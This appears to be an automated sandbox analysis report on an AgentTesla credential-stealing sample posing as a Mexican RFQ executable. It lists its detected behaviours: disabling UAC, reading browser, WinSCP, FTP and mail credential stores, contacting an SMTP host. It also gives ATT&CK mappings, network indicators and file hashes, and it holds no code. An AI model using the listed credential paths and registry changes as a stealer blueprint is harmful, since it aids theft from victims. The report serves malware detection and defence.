Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disables UAC (registry)

Source: C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA

Jump to behavior

Source: Amcache.hve.14.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.14.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca001a78.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2510069403.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2510069403.0000000002DE2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2510069403.0000000002D92000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2507112723.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1403203192.0000023ACA001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7924, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca001a78.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2510069403.0000000002D92000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2507112723.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1403203192.0000023ACA001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7924, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca10df40.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca0d0af8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe.23aca001a78.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2510069403.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2510069403.0000000002DE2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2510069403.0000000002D92000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2507112723.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1403203192.0000023ACA001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7924, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	311 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	1 Credentials in Registry	431 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Timestomp	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	151 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	311 Process Injection	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	29%	ReversingLabs	Win64.Trojan.GenSteal
RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	26%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
smtp.zoho.eu	0%	Virustotal		Browse
ip-api.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://ip-api.com/line/?fields=hosting	0%	URL Reputation	safe
http://ip-api.com	0%	URL Reputation	safe
http://status.thawte.com0:	0%	Avira URL Cloud	safe
http://cacerts.thawte.com/ThawteTLSRSACAG1.crt0	0%	Avira URL Cloud	safe
http://cdp.thawte.com/ThawteTLSRSACAG1.crl0p	0%	Avira URL Cloud	safe
http://smtp.zoho.eu	0%	Avira URL Cloud	safe
http://smtp.zoho.eu	0%	Virustotal		Browse
http://cacerts.thawte.com/ThawteTLSRSACAG1.crt0	0%	Virustotal		Browse
http://cdp.thawte.com/ThawteTLSRSACAG1.crl0p	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
smtp.zoho.eu	185.230.214.164	true	true	0%, Virustotal, Browse	unknown
ip-api.com	208.95.112.1	true	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ip-api.com/line/?fields=hosting	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://upx.sf.net	Amcache.hve.14.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://account.dyn.com/	RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe, 00000000.00000002.1403203192.0000023ACA001000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2507112723.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegAsm.exe, 0000000B.00000002.2510069403.0000000002D61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cacerts.thawte.com/ThawteTLSRSACAG1.crt0	RegAsm.exe, 0000000B.00000002.2509923111.000000000129E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002F6C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2513997940.0000000006050000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2509923111.0000000001288000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://cdp.thawte.com/ThawteTLSRSACAG1.crl0p	RegAsm.exe, 0000000B.00000002.2509923111.000000000129E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002F6C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2513997940.0000000006050000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2509923111.0000000001288000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://status.thawte.com0:	RegAsm.exe, 0000000B.00000002.2509923111.000000000129E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002F6C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2513997940.0000000006050000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2509923111.0000000001288000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://smtp.zoho.eu	RegAsm.exe, 0000000B.00000002.2510069403.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2510069403.0000000002F6C000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ip-api.com	RegAsm.exe, 0000000B.00000002.2510069403.0000000002D61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	true
185.230.214.164	smtp.zoho.eu	Netherlands		41913	COMPUTERLINEComputerlineSchlierbachSwitzerlandCH	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1451544
Start date and time:	2024-06-04 08:18:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winEXE@9/11@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 90% Number of executed functions: 68 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21
Excluded domains from analysis (whitelisted): login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:19:07	API Interceptor	18x Sleep call for process: powershell.exe modified
02:19:08	API Interceptor	77x Sleep call for process: RegAsm.exe modified
02:19:13	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	Cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	FedEx_102235507463.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	rSOLICITUDDECOTIZACI#U00d3NCONSULTA.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	New Order 00293939004.bat.exe	Get hash	malicious	GuLoader	Browse	ip-api.com/line/?fields=hosting
	MONTHLY SOA AGENT MAR-MAY.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	IB4RbA3Afa.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	ip-api.com/line/?fields=hosting
	mFduH8XG1f.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	8uy7ZljOoi.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	QUOTATION_MAYQTRA031244#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	B4NohuTaMr.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
185.230.214.164	RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRYs.exe	Get hash	malicious	GuLoader	Browse
	RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Get hash	malicious	AgentTesla	Browse
	INQUIRY#46789_MAY24_PLANEX_SERVICES_CONTRACTING_GOODS.exe	Get hash	malicious	AgentTesla	Browse
	VBG dk Payment Receipt --doc87349281.bat	Get hash	malicious	Remcos, AgentTesla, DBatLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	Cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	FedEx_102235507463.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	rSOLICITUDDECOTIZACI#U00d3NCONSULTA.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	New Order 00293939004.bat.exe	Get hash	malicious	GuLoader	Browse	208.95.112.1
	MONTHLY SOA AGENT MAR-MAY.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	IB4RbA3Afa.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	208.95.112.1
	mFduH8XG1f.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	8uy7ZljOoi.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	QUOTATION_MAYQTRA031244#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	B4NohuTaMr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
smtp.zoho.eu	RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRYs.exe	Get hash	malicious	GuLoader	Browse	185.230.214.164
	RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Get hash	malicious	AgentTesla	Browse	185.230.214.164
	INQUIRY#46789_MAY24_PLANEX_SERVICES_CONTRACTING_GOODS.exe	Get hash	malicious	AgentTesla	Browse	185.230.214.164
	VBG dk Payment Receipt --doc87349281.bat	Get hash	malicious	Remcos, AgentTesla, DBatLoader	Browse	185.230.214.164
	RFQ_on_SAK-TC233L-32F200N_INFINEON_PN_PHARMA.pdf.exe	Get hash	malicious	AgentTesla	Browse	89.36.170.164
	1qwF1J2Njh.exe	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	N8USBRwo0Z.exe	Get hash	malicious	AgentTesla	Browse	89.36.170.164
	PURCHASE_ORDER.exe	Get hash	malicious	AgentTesla, zgRAT	Browse	89.36.170.164
	New Enquiry List.exe	Get hash	malicious	AgentTesla	Browse	185.20.209.164

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COMPUTERLINEComputerlineSchlierbachSwitzerlandCH	http://isme-zcmp.campaign-view.eu	Get hash	malicious	Unknown	Browse	185.230.212.52
	https://www.junglegstring.com/?wysija-page=1&controller=confirm&wysija-key=1c37c08e0ea53fdc22a8bedc342b6a0e&action=subscribe&wysijap=subscriptions&wysiconf=WyIxIl0=	Get hash	malicious	Unknown	Browse	89.36.170.147
	RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRYs.exe	Get hash	malicious	GuLoader	Browse	185.230.214.164
	RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Get hash	malicious	AgentTesla	Browse	185.230.214.164
	INQUIRY#46789_MAY24_PLANEX_SERVICES_CONTRACTING_GOODS.exe	Get hash	malicious	AgentTesla	Browse	185.230.214.164
	https://classic.dreamclass.io/pages/admissions/form/Bvtxck	Get hash	malicious	Unknown	Browse	185.230.212.28
	http://www.multipli.com.au	Get hash	malicious	Unknown	Browse	185.230.212.28
	https://workdrive.zohoexternal.com/external/2c63de0fdd4c89e3b1929ff054753df29586989db597aec11b0424839e9707da/download	Get hash	malicious	Unknown	Browse	185.230.212.52
	https://survey.zohopublic.eu/zs/GzDXvp	Get hash	malicious	HTMLPhisher	Browse	185.230.212.19
	https://site24x7.com	Get hash	malicious	Unknown	Browse	185.230.212.11
TUT-ASUS	Cotizaci#U00f3n.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	FedEx_102235507463.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	rSOLICITUDDECOTIZACI#U00d3NCONSULTA.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	New Order 00293939004.bat.exe	Get hash	malicious	GuLoader	Browse	208.95.112.1
	MONTHLY SOA AGENT MAR-MAY.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	IB4RbA3Afa.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	208.95.112.1
	mFduH8XG1f.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	8uy7ZljOoi.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	QUOTATION_MAYQTRA031244#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	B4NohuTaMr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_O3M50XZCTRHO2WFI_53db61ea5bbc9df35952feb8933b1de8a97192_1f364be1_0a2674bc-4aeb-4f71-b7af-e8a38e449efb\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2707010115901685
Encrypted:	false
SSDEEP:	192:/Vf2rhxBJei0d9wyaWxeFlJs87+Uz8zuiFJZ24lO8W:92rhxf4d9wyaGUx77AzuiFJY4lO8W
MD5:	A870C6FF7790E87F184D697E81F8FC09
SHA1:	C2F34DB7BB5A264138E77539C348DA0970447F1F
SHA-256:	4EB100412A95916695B5AD969FA7C1CA8FF001EF5F578A2AD08B2431BB1F7955
SHA-512:	5FB91E9E8BC8C2B29575BFC64A45ED5BC1FB87B895F86CCBA9D53483B73CD4BBC1D16C950839B2E487CE26FE95D0A74AD039259822F99DEF7641A264F87283C0
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.1.9.5.5.5.4.6.7.5.8.7.6.7.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.1.9.5.5.5.4.7.9.1.5.0.1.0.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.a.2.6.7.4.b.c.-.4.a.e.b.-.4.f.7.1.-.b.7.a.f.-.e.8.a.3.8.e.4.4.9.e.f.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.a.e.c.1.d.c.c.-.2.6.0.8.-.4.f.4.f.-.8.2.9.a.-.f.7.8.3.6.d.8.f.3.9.f.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.R.F.Q.6.7.8.9.0.3.4.2.3._.P.R.O.D._.H.A.S.U.E._.d.e._.M.e.x.i.c.s.o._.M.A.T._.M.E.X...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.A.m.a.x.u.q.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.9.0.-.0.0.0.1.-.0.0.1.3.-.9.f.5.5.-.a.c.1.5.4.7.b.6.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.3.3.f.7.c.0.b.0.4.8.f.8.e.1.a.c.a.2.6.d.8.8.a.7.c.d.2.d.7.8.3.3.0.0.0.0.0.0.0.0.!.0.0.0.0.e.c.c.4.6.4.9.d.9.d.a.6.1.5.a.3.f.1.0.6.2.1.e.7.1.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER987F.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Tue Jun 4 06:19:07 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	504912
Entropy (8bit):	3.424084621358595
Encrypted:	false
SSDEEP:	3072:TANnxd+YMWd0H3/pd9lqWPiFPlE1CCqp7T3+vwXDyasA24yycEZKRX5EcSErpb:TAFxEYNd0XD/8aqNT3QwXDPMkZkpQEB
MD5:	5B35B66174D5E91A220972976F7A1026
SHA1:	6AB2C29DF37E00EF907E9CDD6D79298A866F3895
SHA-256:	3957FC5783B80CD58B4050DFFC93AFC9643AC459CDF6F2A2BE96B0B4E6B5CD95
SHA-512:	E76425055D4749B38879164C607AC487D1F4A017753CEC406629218EF0C711B8753CF0293FE181341493EA6EDE9C3B3D2943EB15EF4B8CA1F737ACF4083F90F2
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........^f............t.......................$... '....... ..D'.......T..............l.......8...........T............:...y..........DG..........0I..............................................................................eJ.......I......Lw......................T............^f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. 